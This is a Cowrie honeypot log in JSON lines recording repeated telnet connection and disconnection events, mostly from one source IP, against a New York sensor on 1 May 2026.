{"eventid":"cowrie.session.closed","duration":35.98056221008301,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:09.824533Z","src_ip":"194.163.135.148","session":"d49056ab89f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43716,"dst_ip":"159.203.135.109","dst_port":23,"session":"714df1d561e8","protocol":"telnet","message":"New connection: 194.163.135.148:43716 (159.203.135.109:23) [session: 714df1d561e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:10.146354Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda8e7710755","protocol":"telnet","message":"New connection: 194.163.135.148:43752 (159.203.135.109:23) [session: dda8e7710755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:11.414001Z"}
{"eventid":"cowrie.session.closed","duration":36.406906604766846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:11.473597Z","src_ip":"194.163.135.148","session":"eee1959bcb23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43764,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45f9b21aaa3","protocol":"telnet","message":"New connection: 194.163.135.148:43764 (159.203.135.109:23) [session: c45f9b21aaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:11.716299Z"}
{"eventid":"cowrie.session.closed","duration":34.79244089126587,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:13.186694Z","src_ip":"194.163.135.148","session":"369653cd6371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43820,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd3d8fac38e8","protocol":"telnet","message":"New connection: 194.163.135.148:43820 (159.203.135.109:23) [session: dd3d8fac38e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:13.380481Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43838,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebcd2610b9fd","protocol":"telnet","message":"New connection: 194.163.135.148:43838 (159.203.135.109:23) [session: ebcd2610b9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:13.864660Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43864,"dst_ip":"159.203.135.109","dst_port":23,"session":"2075f84ec42a","protocol":"telnet","message":"New connection: 194.163.135.148:43864 (159.203.135.109:23) [session: 2075f84ec42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:14.631410Z"}
{"eventid":"cowrie.session.closed","duration":34.80390763282776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:15.274451Z","src_ip":"194.163.135.148","session":"39f83cafcb58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.629576206207275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:15.564302Z","src_ip":"194.163.135.148","session":"635f8fe5049a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0c9f84a830","protocol":"telnet","message":"New connection: 166.62.41.96:39220 (159.203.135.109:23) [session: fb0c9f84a830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:15.840685Z"}
{"eventid":"cowrie.session.closed","duration":34.960638761520386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:16.037735Z","src_ip":"194.163.135.148","session":"3fa384c3fccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43926,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c48a38b565","protocol":"telnet","message":"New connection: 194.163.135.148:43926 (159.203.135.109:23) [session: 71c48a38b565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:16.748823Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43924,"dst_ip":"159.203.135.109","dst_port":23,"session":"426dc1a43118","protocol":"telnet","message":"New connection: 194.163.135.148:43924 (159.203.135.109:23) [session: 426dc1a43118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:17.593734Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43984,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ba95028220","protocol":"telnet","message":"New connection: 194.163.135.148:43984 (159.203.135.109:23) [session: 39ba95028220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:17.971878Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43996,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c68ccdb9f0","protocol":"telnet","message":"New connection: 194.163.135.148:43996 (159.203.135.109:23) [session: 86c68ccdb9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:18.422949Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44002,"dst_ip":"159.203.135.109","dst_port":23,"session":"4db89ef6bbb6","protocol":"telnet","message":"New connection: 194.163.135.148:44002 (159.203.135.109:23) [session: 4db89ef6bbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:18.771634Z"}
{"eventid":"cowrie.session.closed","duration":34.29370379447937,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:20.326214Z","src_ip":"194.163.135.148","session":"aced438579d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e902954d563","protocol":"telnet","message":"New connection: 194.163.135.148:44050 (159.203.135.109:23) [session: 1e902954d563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:20.577762Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44074,"dst_ip":"159.203.135.109","dst_port":23,"session":"adcde349f090","protocol":"telnet","message":"New connection: 194.163.135.148:44074 (159.203.135.109:23) [session: adcde349f090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:22.397289Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44102,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed0c12d6dc2","protocol":"telnet","message":"New connection: 194.163.135.148:44102 (159.203.135.109:23) [session: 7ed0c12d6dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:22.514253Z"}
{"eventid":"cowrie.session.closed","duration":31.01600408554077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:23.434653Z","src_ip":"194.163.135.148","session":"0610a8bedaba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43998,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0afa938684e","protocol":"telnet","message":"New connection: 194.163.135.148:43998 (159.203.135.109:23) [session: a0afa938684e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:25.658200Z"}
{"eventid":"cowrie.session.closed","duration":30.790602684020996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:26.239159Z","src_ip":"166.62.41.96","session":"8afd7a7d229e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40816640853882,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:27.621255Z","src_ip":"194.163.135.148","session":"9b39663a9ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8d84c6b053e","protocol":"telnet","message":"New connection: 194.163.135.148:44246 (159.203.135.109:23) [session: f8d84c6b053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:28.562760Z"}
{"eventid":"cowrie.session.closed","duration":36.369713306427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:30.695131Z","src_ip":"194.163.135.148","session":"d64d96bb0c50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17629337310791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:33.399112Z","src_ip":"194.163.135.148","session":"73371a020468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64834976196289,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:33.588006Z","src_ip":"194.163.135.148","session":"cb86011781fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.619730710983276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:36.459333Z","src_ip":"194.163.135.148","session":"bfbae1f3b9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.492591857910156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:36.951714Z","src_ip":"194.163.135.148","session":"8b237358b65b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d461992051","protocol":"telnet","message":"New connection: 194.163.135.148:44402 (159.203.135.109:23) [session: 15d461992051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:37.706569Z"}
{"eventid":"cowrie.session.closed","duration":36.8537974357605,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:38.374174Z","src_ip":"194.163.135.148","session":"2f06de7865e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c792420aae7","protocol":"telnet","message":"New connection: 194.163.135.148:44416 (159.203.135.109:23) [session: 7c792420aae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:39.548713Z"}
{"eventid":"cowrie.session.closed","duration":33.18420195579529,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:39.791386Z","src_ip":"194.163.135.148","session":"55ac5e24b4df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12944722175598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:40.909769Z","src_ip":"194.163.135.148","session":"f6dc0f509c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.928537368774414,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:40.914716Z","src_ip":"194.163.135.148","session":"c189745f362a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91172194480896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:41.057155Z","src_ip":"194.163.135.148","session":"8d05a8e2fa9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.592586517333984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:41.659379Z","src_ip":"194.163.135.148","session":"2a83d9c918d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"560318d16bf4","protocol":"telnet","message":"New connection: 194.163.135.148:44472 (159.203.135.109:23) [session: 560318d16bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:41.746583Z"}
{"eventid":"cowrie.session.closed","duration":32.21169567108154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:42.357573Z","src_ip":"194.163.135.148","session":"714df1d561e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23193335533142,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:43.345600Z","src_ip":"194.163.135.148","session":"78b75e5e783d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8352a0d2757e","protocol":"telnet","message":"New connection: 194.163.135.148:44488 (159.203.135.109:23) [session: 8352a0d2757e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:43.571625Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44522,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9fca6177510","protocol":"telnet","message":"New connection: 194.163.135.148:44522 (159.203.135.109:23) [session: b9fca6177510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:43.964433Z"}
{"eventid":"cowrie.session.closed","duration":37.21123385429382,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:44.029143Z","src_ip":"194.163.135.148","session":"12b5b11208c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44526,"dst_ip":"159.203.135.109","dst_port":23,"session":"55aa2e20b187","protocol":"telnet","message":"New connection: 194.163.135.148:44526 (159.203.135.109:23) [session: 55aa2e20b187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:44.278053Z"}
{"eventid":"cowrie.session.closed","duration":33.084091901779175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:44.497512Z","src_ip":"194.163.135.148","session":"dda8e7710755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.066484689712524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:44.782334Z","src_ip":"194.163.135.148","session":"c45f9b21aaa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55661201477051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:44.907295Z","src_ip":"194.163.135.148","session":"2e9d77f750a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22517228126526,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:45.605557Z","src_ip":"194.163.135.148","session":"dd3d8fac38e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb0005b69e0","protocol":"telnet","message":"New connection: 194.163.135.148:44544 (159.203.135.109:23) [session: 0bb0005b69e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.157485Z"}
{"eventid":"cowrie.session.closed","duration":32.373109340667725,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.237640Z","src_ip":"194.163.135.148","session":"ebcd2610b9fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46026062965393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.300408Z","src_ip":"166.62.41.96","session":"fb0c9f84a830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44548,"dst_ip":"159.203.135.109","dst_port":23,"session":"6781d5f2b993","protocol":"telnet","message":"New connection: 194.163.135.148:44548 (159.203.135.109:23) [session: 6781d5f2b993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.305988Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44554,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a2e08053e36","protocol":"telnet","message":"New connection: 194.163.135.148:44554 (159.203.135.109:23) [session: 8a2e08053e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.514877Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44540,"dst_ip":"159.203.135.109","dst_port":23,"session":"82446dcff4d7","protocol":"telnet","message":"New connection: 194.163.135.148:44540 (159.203.135.109:23) [session: 82446dcff4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:46.652058Z"}
{"eventid":"cowrie.session.closed","duration":34.143921852111816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:48.775214Z","src_ip":"194.163.135.148","session":"2075f84ec42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.051026582717896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:50.022807Z","src_ip":"194.163.135.148","session":"39ba95028220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44616,"dst_ip":"159.203.135.109","dst_port":23,"session":"e10ec4ea7729","protocol":"telnet","message":"New connection: 194.163.135.148:44616 (159.203.135.109:23) [session: e10ec4ea7729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:50.223560Z"}
{"eventid":"cowrie.session.closed","duration":30.61526656150818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:51.192895Z","src_ip":"194.163.135.148","session":"1e902954d563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45345687866211,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:51.202145Z","src_ip":"194.163.135.148","session":"71c48a38b565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.081766843795776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:51.675381Z","src_ip":"194.163.135.148","session":"426dc1a43118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25497913360596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:52.026493Z","src_ip":"194.163.135.148","session":"4db89ef6bbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44656,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4cdc0d970b","protocol":"telnet","message":"New connection: 194.163.135.148:44656 (159.203.135.109:23) [session: aa4cdc0d970b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:52.664049Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a50086bbcf","protocol":"telnet","message":"New connection: 194.163.135.148:44662 (159.203.135.109:23) [session: a1a50086bbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:52.740707Z"}
{"eventid":"cowrie.session.closed","duration":31.96925687789917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:54.366427Z","src_ip":"194.163.135.148","session":"adcde349f090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.00253677368164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:54.425386Z","src_ip":"194.163.135.148","session":"86c68ccdb9f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44698,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d48981a872d","protocol":"telnet","message":"New connection: 194.163.135.148:44698 (159.203.135.109:23) [session: 3d48981a872d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:56.199666Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44702,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b57d22e8f6","protocol":"telnet","message":"New connection: 194.163.135.148:44702 (159.203.135.109:23) [session: 50b57d22e8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:56.388227Z"}
{"eventid":"cowrie.session.closed","duration":34.862895011901855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:57.377058Z","src_ip":"194.163.135.148","session":"7ed0c12d6dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44724,"dst_ip":"159.203.135.109","dst_port":23,"session":"5321b22afa6a","protocol":"telnet","message":"New connection: 194.163.135.148:44724 (159.203.135.109:23) [session: 5321b22afa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:58.321498Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44720,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad404261c2b","protocol":"telnet","message":"New connection: 194.163.135.148:44720 (159.203.135.109:23) [session: fad404261c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:59.188473Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa67e67a3ce1","protocol":"telnet","message":"New connection: 194.163.135.148:44722 (159.203.135.109:23) [session: fa67e67a3ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:59.316038Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cac87e2bdd3","protocol":"telnet","message":"New connection: 194.163.135.148:44752 (159.203.135.109:23) [session: 0cac87e2bdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:59.486005Z"}
{"eventid":"cowrie.session.closed","duration":34.43361186981201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:00.091697Z","src_ip":"194.163.135.148","session":"a0afa938684e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44770,"dst_ip":"159.203.135.109","dst_port":23,"session":"1162aeb4f5f1","protocol":"telnet","message":"New connection: 194.163.135.148:44770 (159.203.135.109:23) [session: 1162aeb4f5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:01.529295Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44786,"dst_ip":"159.203.135.109","dst_port":23,"session":"78939d38098c","protocol":"telnet","message":"New connection: 194.163.135.148:44786 (159.203.135.109:23) [session: 78939d38098c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:01.815983Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44824,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7b493b1dc66","protocol":"telnet","message":"New connection: 194.163.135.148:44824 (159.203.135.109:23) [session: f7b493b1dc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:03.973881Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4510dc1237","protocol":"telnet","message":"New connection: 194.163.135.148:44706 (159.203.135.109:23) [session: 5a4510dc1237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:04.314202Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44856,"dst_ip":"159.203.135.109","dst_port":23,"session":"af7e5574bea6","protocol":"telnet","message":"New connection: 194.163.135.148:44856 (159.203.135.109:23) [session: af7e5574bea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:05.713912Z"}
